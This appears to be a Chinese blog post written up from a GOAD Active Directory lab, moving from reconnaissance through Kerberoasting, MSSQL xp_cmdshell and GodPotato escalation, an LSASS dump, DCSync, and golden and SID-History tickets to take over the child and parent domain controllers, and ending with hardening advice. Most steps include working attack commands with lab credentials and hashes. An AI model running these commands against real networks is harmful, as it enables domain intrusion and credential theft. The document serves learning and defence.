kizumi_header_banner_img

这里是幻灬十一的博客,欢迎来到我的世界

加载中

文章导读


avatar
11 2026年8月26日 9

靶场:GOAD AD 靶场,环境包含父子域架构,完整复现信息收集、MSSQL 提权、DCSync、黄金票据、SID‑History 跨域攻击全流程。 目标:①接管子域north.sevenkingdoms.local域控;②利用 SID‑History 跨域黄金票据,拿下父域sevenkingdoms.local

一、实验环境说明

靶场主机清单

表格

主机 IP 地址 角色
SEVENKINGDOMS‑DC 192.168.56.10 父域 sevenkingdoms.local 域控制器
WINTERFELL‑DC 192.168.56.11 子域 north.sevenkingdoms.local 域控制器
CASTELBLACK 192.168.56.22 子域成员服务器,部署 MSSQL 服务

攻击机:Kali Linux 攻击目标:

  1. 初步目标:完成子域north.sevenkingdoms.local域控接管(黄金票据)
  2. 最终目标:利用SID‑History实现跨域黄金票据,接管父域sevenkingdoms.local

二、信息收集阶段

2.1 主机存活与端口探测

首先使用nmap进行网段存活探测,识别网段内存活主机。

nmap -sn -T4 192.168.56.0/24

扫描识别三台核心靶机全部存活,均为 VMware 虚拟机。

使用crackmapexec(nxc)批量探测 SMB 服务,获取主机名、操作系统、域名、SMB 签名状态。

nxc smb 192.168.56.0/24

探测关键结论:

  1. 三台主机系统均为 Windows Server 2019 Build 17763 x64;
  2. 192.168.56.10 属于父域,192.168.56.11、192.168.56.22 属于子域;
  3. 两台域控开启 SMB 强制签名,无法 SMB 中继;成员服务器 CASTELBLACK 关闭 SMB 签名,存在中继风险,是本次突破口
  4. 全部主机关闭 SMBv1,SMBv1 相关攻击失效。

小结:域控安全配置相对严格,优先从成员服务器开展渗透。

2.2 域用户枚举

2.2.1 SAMRPC 匿名枚举域用户

子域域控允许 SAMRPC 匿名访问,无需账号密码即可枚举域账号。 通过 crackmapexec 调用 SAMRPC 协议,枚举到大量账号:jon.snowsansa.starkrobb.starksql_svc等,并且直接泄露账号jeor.mormont明文密码Heartsbane

风险提示:域控开启 SAMRPC 匿名查询会造成账号信息大量泄露,可用于密码喷洒、Kerberoast 预探测。

2.2.2 Kerbrute 无锁定用户名爆破

利用 Kerberos 预认证机制,Kerbrute 探测有效用户名,该方式不会触发账号锁定

kerbrute userenum --dc 192.168.56.11 -d north.sevenkingdoms.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --threads 100

将 SAMRPC 和 Kerbrute 结果合并,得到完整域用户列表,为后续攻击做准备。

2.3 密码同源喷洒测试

拿到账号列表后,使用 crackmapexec 进行密码喷洒,测试弱口令:

nxc smb 192.168.56.11 -u userlist.txt -p passlist.txt

探测得到两组有效凭据:

  • north.sevenkingdoms.local\hodor:hodor 普通域账号
  • north.sevenkingdoms.local\vagrant:vagrant 本机管理员权限账号

2.4 SPN 服务账号枚举

使用普通域账号 hodor 查询域内 SPN 服务主体名称,定位可 Kerberoast 攻击的服务账号。

impacket-GetUserSPNs 'north.sevenkingdoms.local/hodor:hodor' -dc-ip 192.168.56.11 -outputfile spns.txt

探测结果:

  1. HTTP类型 SPN 绑定普通用户sansa.starkjon.snow
  2. MSSQLSvc类型 SPN 绑定服务账号sql_svc,对应成员服务器 CASTELBLACK 上的 MSSQL 服务。

只要账号注册 SPN,攻击者就可以请求 TGS‑REP 票据,拿到哈希进行离线爆破。

2.5 Kerberos 环境准备

Kerberos 攻击对时间、域名解析要求严格,两个必做操作:

  1. 修改/etc/hosts增加域名 IP 映射,解决域名解析;
  2. 同步 Kali 与域控时间,防止时钟偏移导致票据报错。
sudo net time set -S 192.168.56.11 -U'north.sevenkingdoms.local\hodor%hodor'

三、Kerberoast 攻击尝试

执行 GetUserSPNs 请求 TGS 票据,导出 TGS 哈希,使用 hashcat 离线爆破。

impacket-GetUserSPNs 'north.sevenkingdoms.local/hodor:hodor' -dc-ip 192.168.56.11 -request -outputfile kerberoast.txt
hashcat -m 13100 kerberoast_hash.txt /usr/share/wordlists/rockyou.txt --force

本次实验:成功抓取 TGS 哈希,部分账号爆破出明文:

  • jon.snow:iknownothing
  • sansa.stark:345ertdfg(需要变形字典)

四、MSSQL 链路提权获取高价值凭据

4.1 MSSQL 登录与权限判断

使用爆破得到的jon.snow:iknownothing,Windows 身份认证登录 MSSQL 服务。

impacket-mssqlclient 'NORTH/jon.snow:iknownothing@192.168.56.22' -windows-auth

登录后判断数据库权限:

SELECT IS_SRVROLEMEMBER('sysadmin')

返回1,说明当前账号拥有sysadmin最高数据库管理员权限。

开启xp_cmdshell存储过程:

enable_xp_cmdshell

执行命令查看服务账号权限:

xp_cmdshell whoami /priv

观察到开启SeImpersonatePrivilege权限,该权限可以使用 GodPotato 完成本地提权到 NT‑SYSTEM。

4.2 GodPotato 本地提权

  1. Kali 开启简易 http 服务,提供 GodPotato 工具下载
python3 -m http.server 80
  1. 在 MSSQL 的 xp_cmdshell 中使用 certutil 下载提权工具到目标服务器;
  2. 执行 GodPotato,利用SeImpersonatePrivilege从 NETWORK SERVICE 提升到 NT‑SYSTEM;
  3. 将 jon.snow 加入本机管理员组。

攻击效果:原本普通域用户 jon.snow 获得 CASTELBLACK 服务器本地管理员权限,可以 evil‑winrm 远程登录。

4.3 Evil‑WinRM 获取主机 Shell

evil-winrm -i 192.168.56.22 -u 'NORTH\jon.snow' -p 'iknownothing'

成功拿到交互式 PowerShell Shell。

4.4 Dump LSASS 导出内存凭据

利用系统自带comsvcs.dll对 LSASS 进程做 MiniDump,导出内存转储文件。

$pid=(Get-Process lsass).Id
cmd /c "rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump $pid C:\Users\Public\lsass_robb.dmp full"

通过 evil‑winrm 的 download 功能将 dmp 下载回 Kali,使用 pypykatz 解析 dump 文件。

pypykatz lsa minidump lsass_robb.dmp

成功拿到高权限账号robb.stark的 NTLM 哈希,为后续 DCSync 做准备。

五、DCSync 域复制攻击实验

DCSync 攻击依赖Replicating Directory Changes权限,不是知道账号密码就可以执行。

5.1 普通域账号 DCSync 测试

使用 samwell.tarly、jon.snow、sansa.stark 执行 DCSync,全部报错ERROR_DS_DRA_BAD_DN,攻击失败。 普通域账号默认没有目录复制权限,因此攻击失败。

5.2 高权限账号执行 DCSync

使用 dump 得到的 robb.stark NTLM 哈希执行 DCSync:

impacket-secretsdump NORTH/robb.stark@192.168.56.11 -hashes :831486ac7f26860c9e2f51ac91e1a07a -just-dc

成功导出子域完整 NTDS.dit 凭据,拿到子域krbtgt账号 NTLM 哈希,这是生成黄金票据的核心材料。

六、子域黄金票据攻击(初步目标完成)

利用子域 krbtgt 哈希、子域 Domain SID,使用 ticketer 伪造域管理员 TGT 黄金票据。

impacket-ticketer -nthash e885361496daa3187ea6418581c54c1a -user-id 502 -domain-sid S-1-5-21-2275938202-2689245186-2807746679 -groups 512,513,518,519,520 Administrator -duration 87600 north.sevenkingdoms.local

设置环境变量加载 ccache 票据,使用 psexec 通过 Kerberos 认证登录子域域控。

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local

成功拿到子域域控 System 权限 Shell,子域接管目标完成

七、SID‑History 跨域黄金票据,接管父域(最终目标)

原理:父子域信任环境,SID‑History 属性写入林根Enterprise Admins企业管理员 SID,实现子域票据向上溢出父域权限。

7.1 获取父域 SID

使用已经拿到的子域域控 shell,查询林内域信任信息,提取父域sevenkingdoms.local的 SID。

7.2 Mimikatz 生成跨域黄金票据

将 mimikatz 上传到子域域控,执行kerberos::golden模块,填入子域 krbtgt 哈希,使用/si参数写入父域 Enterprise Admins 组 SID,生成注入跨域黄金票据。

kerberos::golden /domain:north.sevenkingdoms.local /sid:子域SID /krbtgt:子域krbtgt哈希 /user:fakeadmin /si:父域Enterprise Admins的SID /ptt

票据注入成功后,测试访问父域域控 C 盘共享:

dir \\KINGSLANDING\C$

可以列出父域域控磁盘文件,证明跨域票据生效,当前会话拥有企业管理员权限。

7.3 DCSync 导出父域凭据

在 mimikatz 中执行 DCSync,利用企业管理员权限远程导出父域域控凭据,拿到父域 krbtgt 哈希、父域管理员 NTLM 哈希。

7.4 生成原生父域黄金票据,登录父域域控

拿到父域 krbtgt 哈希后,使用 impacket‑ticketer 生成父域原生黄金票据,加载票据后 psexec 登录父域域控。

impacket-ticketer -nthash 父域krbtgt哈希 -domain-sid 父域SID -user-id 500 -groups 512,513,518,519,520 Administrator sevenkingdoms.local
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local

![](images/11_父域域控 system shell.png)

成功获取父域域控 System Shell,最终目标完成

八、攻击路径汇总

表格

攻击路径 执行结果 简要说明
SAMRPC 匿名枚举子域账号 ✅成功 子域 DC 开放 SAMRPC 匿名查询;父域关闭该功能
Kerberoast TGS 哈希 + hashcat 离线爆破 部分成功 抓取 TGS 哈希,部分账号爆破出明文
普通域账号 DCSync ❌失败 缺少目录复制权限,凭据正确但是攻击拒绝
MSSQL xp_cmdshell + GodPotato 本地提权 ✅成功 获取 CASTELBLACK 本机管理员权限
Lsass 内存 dump + pypykatz 解析 ✅成功 导出 robb.stark 高价值 NTLM 哈希
robb.stark 执行 DCSync 导出子域 NTDS ✅成功 获取 krbtgt 密钥,全部子域凭据
子域黄金票据接管子域域控 ✅完成初步目标 获取子域域控 system shell
SID‑History 跨域黄金票据接管父域 ✅完成最终目标 获取父域域控 system shell

九、实验踩坑记录

  1. Kerberos 时钟偏移:Kali 与域控时间偏差过大,票据全部报错,必须同步系统时间;
  2. /etc/hosts 解析错误:域名 IP 映射写错,Kerberos 认证直接异常,务必维护正确 hosts;
  3. DCSync 认知误区:DCSync 不是账号密码对就可以跑,必须拥有目录复制权限;返回ERROR_DS_DRA_BAD_DN不等于账号密码错误;
  4. MSSQL 服务位置混淆:存在 SPN 不等于服务运行在域控上,本实验 MSSQL 部署在成员服务器;
  5. impacket 版本差异:新版本 impacket 部分旧参数移除,注意命令参数变更。

十、实验结论与防御加固建议

实验结论

  1. 完整攻击链路:信息收集 → Kerberoast → MSSQL 提权 → Dump 内存凭据 → DCSync 导出 krbtgt → 子域黄金票据 → SID‑History 跨域黄金票据拿下父域;
  2. DCSync 是权限依赖攻击,普通账号被授予目录复制权限后沦陷,整个域凭据全部泄露;
  3. SeImpersonatePrivilege这类模拟权限漏洞,低权限服务账号可提升到 SYSTEM,dump 内存泄露凭据,横向危害整个 AD;
  4. krbtgt 账号密钥是黄金票据攻击核心,攻击者拿到 krbtgt 哈希就可以无限伪造票据控制域;
  5. 父子域信任架构中,SID‑History 是高危风险点,子域沦陷极易向上渗透父域。

防御加固建议

  1. 权限管控:严格管控Replicating Directory ChangesReplicating Directory Changes All目录复制权限,仅域控和必要管理员账号拥有,禁止普通业务账号授予该权限;
  2. MSSQL 加固:非必要关闭xp_cmdshell;MSSQL 服务账号权限最小化,避免使用高权限域账号运行数据库;
  3. 漏洞补丁:及时修复本地提权类漏洞,防止低权限服务账号提升至 SYSTEM 导出内存凭据;
  4. krbtgt 密钥轮转:定期修改 krbtgt 账号密码,刷新 krbtgt 密钥,对抗黄金票据持久化;
  5. 关闭 SAMRPC 匿名访问:关闭域控 SAMRPC 匿名枚举,阻止攻击者批量收集域账号;
  6. 父子域信任管控:评估父子域信任必要性,监控 SID‑History 属性变更行为,警惕跨域票据滥用。


评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码

站点统计

📄 文章 32
📁 分类 4
🏷️ 标签 0
📝 总字数 337k
⏱️ 运行 483天
头像
关于本站
在代码和动漫的夹缝里收集细碎美好
欢迎同好交流、素材互换
站点持续装修优化中✨